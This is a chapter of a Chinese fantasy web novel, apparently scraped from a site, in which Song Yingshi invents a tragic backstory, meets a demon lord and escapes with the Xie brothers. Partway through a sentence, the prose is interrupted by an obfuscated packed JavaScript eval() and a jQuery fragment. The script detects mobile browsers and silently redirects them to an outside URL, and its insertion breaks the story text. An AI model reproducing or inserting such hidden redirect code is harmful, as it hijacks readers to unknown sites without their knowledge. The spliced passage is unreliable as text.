66.不辛苦,命苦

作品:《不小心拯救了黑化反派怎么办

    看不出原本的心思有几分,也看不出他究竟看透了多少,一切都只是未知数。


    宋莺时歪头,眼尾嫣红,像一片被人反复揉搓的花瓣,显现出惊人的艳丽。


    “谢兄长是有什么想问阿莺的吗?”


    “并没有,我只是……”谢长青倏然收住话语,不再开口。


    他心中其实是有几分揣测,但是看着少女伶仃清瘦的身影,不知她身上背负着多少苦难,他便什么心思都没有了。


    罢了,总归是一些奇遇,比起现在的情况,还有什么是更坏的呢?


    这般想着,他的心中忽然轻松几分。


    谢随泱见两人间的气氛不对劲,暗自剜了一眼兄长。


    会不会说话,没看见宋师姐正伤心着呢,这般模糊的话语模样,也不知是怎么拥有那么多喜欢他的人。


    谢随泱斟酌着开口:“别光说我们了,宋师姐,你是怎么被抓进来的?”


    宋莺时就知道会有这一趴,幸好她早就给自己捏造了悲惨的经历,可谓是:


    下能泣鬼神,上能惊天地。


    不痴静静地听着她瞎编,不时嗤笑一声,安静的当背景板。


    听听都是什么话?


    她在妖界受尽苦难,被妖宫中的人百般折磨。


    他怎么不知道这件事情,老实说,他觉得妖宫被少女做没了,妖宫中的那两位我弟在旁边为她鼓掌。


    她为了不放出魔气祸害世间,便以身为饵,故意诱导魔气所幻化成的婴孩上当,只是不小心被发现,受到重伤。


    不痴麻了,他觉得那孩童该哭晕在幻境,受害者变成了加害者,他此生不能明了了。


    宋莺时循着一阵一阵的笑声,精准且快速的捂住不痴的嘴。


    聒噪,影响她的发挥。


    “宋师姐,你受苦了。”谢随泱心疼地声音响起。


    宋莺时凄凉一笑。


    不辛苦,命苦。


    谢长青询问道:“我倒是听说妖宫最近不算太平,众妖王心思难测,似乎有动手抢夺妖界掌权之位的想法。”


    宋莺时听后,低头想了想,“我也不大清楚,只知道他们似乎要举办宴席,最近妖族内部极乱。”


    “你们三个,跟我走。”


    不再是粗犷的声音,尖锐的声音像是石头上未被磨平的棱角,让人深感不适。


    “请问是出什么事情了吗?”宋莺时乖巧一笑。


    尖锐的声音颇不耐烦,“问这么多干什么?待会儿你就知道了。”


    铁链“叮叮当当”响,中途还有一道清浅的抽气声。


    她还闻到血腥味混着铁锈味逐渐浓郁,像是在清晨腐烂的花朵,在石头上静悄悄枯萎,最终与棱角融为一体,成为最后一点颜色。


    宋莺时本是低头走的,但身后有人轻推她的背脊,让她不得不直起身。


    “傲骨当存。”低沉的声音依旧。


    她可以想象出谢长青身拖长链,却仍然挺直背脊,轻抬下巴的模样。


    象征首席弟子的符令在腰间随风摆动,像是要挣脱束缚,去无边自由的广阔世界。


    大师兄,果然身著威仪,玉骨风姿。


    她应一声“好”。


    走了不知许久,直到她觉得自己快要被血腥味给彻底包围,浸透,整个人像是从万里血河中捞出来的一样,此时才停住脚步。


    讶异声一片,所有的声音灌进耳中。


    宋莺时心神一震,这是那座上古秘境中的语言。


    如今她竟也能听懂全部。


    “那便是谢家少主谢长青吧?怎么伤成这个样子?”


    “我们这可怎么给谢家交代?”


    “左不过是他们有求于我们,而非我们有求于谢家。”


    ……


    “魔君到——”


    所有声音都停止了。


    一道懒散的声音骤起,她猜测那便是驻扎在这里的魔王,也正是他们口中的魔君。


    “这有何难?”


    打开盒子的声音响起,“给他服下这冰肌容肤丸,再难的伤也能治。”


    “不可啊这,谢家少主本就被铁链穿心而过,这冰肌容肤丸虽好,但若有差错,他便会活活疼死在长出血肉的过程当中。”


    “是啊,这法子行不通啊。”


    ……


    “本王的决议竟然让你们反感至此,那你们说还有什么办法?”


    瞬间,盒子被甩飞的声音,刀剑刺入身体的声音,接踵而至。


    她听见盒子掉落的位置就在她的脚下,而那冰肌容肤丸滚落出盒子,不见踪迹。


    铁链晃动而带出风的响动。


    她听见袖袍掠过地面,又听见那世人口中的活菩萨,冰清玉洁的谢家少主说:“我不通诸位之所言,但亦通诸位之所思,今日愿可一试,无论生死。”


    没有一丝一毫勉强,似乎只是在单纯陈述自己的想法。


    不说受尽魔族蹉跎,不说他得魔族恩惠,只说他可尽全力一试,再难的路他也要闯一闯。


    宋莺时蓦地抬头,寻向谢长青所在的方位。


    她又听见他说:“修仙之路本就以痛苦为基石,若是能将一身伤尽数消去,再苦再难也定是要试试的。”


    魔王拍手大笑:“你倒是合我的性格,此次结果无论好坏,我定将你送回谢家。”


    “多谢,若我成功,定要带着师妹与家弟共同离去;若我不成,那拼死也要为二人搏上一搏。”


    “好,来人,带他下去,迎谢家长老。”


    谢长青被带走了,大殿中只剩下他们三人。


    很快便又有脚步声传来,她猜测这边是谢家长老。


    “随泱。”


    谢家长老急切地叫了一声,上下打量了一眼少年,见他没什么事才放下心来。


    紧接着便看见略后一步的少女,惊得睁大眼睛,“宋莺时!”


    宋莺时机械转头,半晌点了一下头。


    没错,就是她。


    “哦?莫非谢家长老认识这女子。”魔王敛着笑意,淡淡问道。


    她现在只盼望着,谢家长老能不记她当日退婚之仇恨,留她一条小命,让她将青山的火烧得更旺些。


    “宋家大小姐。”


    一个词,简单明了。


    却完整概括了她的身份。


    “宋家人啊。”魔王的语气中充满回忆。


    不是吧?她觉得事情很坏了。


    下一秒,她就听见魔王说:“我平生最恨的便是宋家人。”


    宋莺时抹了把额头上不存在的汗。


    她觉得自己,今天就要交代在这里了,抓紧时间还能写个遗书。


    “不过,我刚刚答应了你们少主,要放她一条生路,那这仇恨便作罢。”


    这句话传入她的耳中,宛如天籁之音,余音绕梁三天都不绝。


    跳个不停的心脏顿时安静下来。


    谢家长老从进殿门起,便抑制住的想法再次被提及,忍不住问道:“不知可否一问,我家少主……”


    “等着。”


    没头没脑的两个字,让谢家长老愈发焦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077292|169236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    急,却也不敢再多言。


    时间一分一秒的过去,一天两天,三天。


    未知的情况让大殿内的氛围沉重,宋莺时觉得自己都快站成了一座雕像。


    终于,第三天夜里,谢家长老的耐心值告终。


    “三天过去了,还是不见我家少主的影子,我有理由怀疑你们这是在拖延时间。”


    疾言厉色让魔王神色不满,“这话是什么意思?本王从不作假,说会放人便会放人。”


    谢家长老拔剑,谢随泱紧跟其后拔剑。


    宋莺时听着周围一圈“咣”的声音,沉默片刻,紧跟着拔出长剑。


    “今日,老夫便是拼了这条命,也要见到我们少主。”谢家长老不惧威压,神态坚定,带着一种舍身赴死的气概。


    魔王许是没有被人挑衅过权威,怒极反笑:“好!好!好!本王许久没有动手,今日便借你一试。”


    这场景,天魔大战。


    宋莺时觉得自己不应该站在战场中间,她活该是跑到边缘,大声呼喊“你们不要打了”的那个人才对。


    谢家长老动身,谢随泱也动身,不过一刻,她便听见铁锤与长剑交锋的声音。


    “无耻!”


    “谢家长老的招数,也没比我正义到哪里去。”


    她看不见,也不能妄言这是什么情况。


    但谢家长老挥剑一指,一声“随泱,避开!”让她瞬间确定了方向。


    铁锤近乎贴着鼻尖擦过,她甚至感觉凝滞的风在眼眶中停留一瞬。


    谢随泱伸手拽过她的后背衣裳。


    但似乎是来不及的。


    宋莺时闭上眼睛,她希望自己不要被砸成肉泥,最少也要面容完整吧。


    “找死!”一道厉喝伴着白光一闪而过。


    清淡的梨香盈入齿间,她吃了许多空气,但莫名安心下来。


    白剑劈开铁锤,少年着红裳,在她面前站立。


    随后磅礴的灵力在殿中震开,仿佛微弱的细风转瞬变成了龙卷风,要刮卷这一片天地。


    但她分明察觉到,那震慑天地的狂风在她身边又停止,巧笑着与她打招呼,就像站在她身前的少年。


    后背被人提起,她被拎到后场。


    场面再度混乱起来。


    刚刚恢复的谢长青灵力不稳,比起鼎盛时期的魔王还是略差一招,只能步步后退。


    “诸位,我们走。”宋莺时说道。


    她又说:“我们该走了。”


    怀中的树中草滚烫,许是沾上了心脏的气温,而那气温却并不来自于心脏,是舍生的勇气所给。


    她拔出长剑,将树中草抹在剑尖,手掌摁在剑侧,划出一道深深的血痕。


    血滴入地面,溅起殷红水花,像是单独为她盛开的一般。


    “走!”


    ……


    合欢宗


    “宋师姐,你的手可还好?”谢随泱在她的小院自觉坐下,“谢长青被带回谢家去进行疗伤,稳固根基。”


    刚回来的眩晕感还尚且未过去,宋莺时缓了缓,才说道:“不妨事,过两天就好了。”


    她总算是回到了自己的这一方庭院,能清净几天。


    “莺时!”


    “宋师妹。”


    “妹妹。”


    ……


    看样子,也许与她躲清闲的想法略有偏差。


    她笑起来,这个世界上,总会有事情值得期待,总会有人被牵挂。


    很庆幸,这个被人牵挂的人是她,而她的到来也值得期待。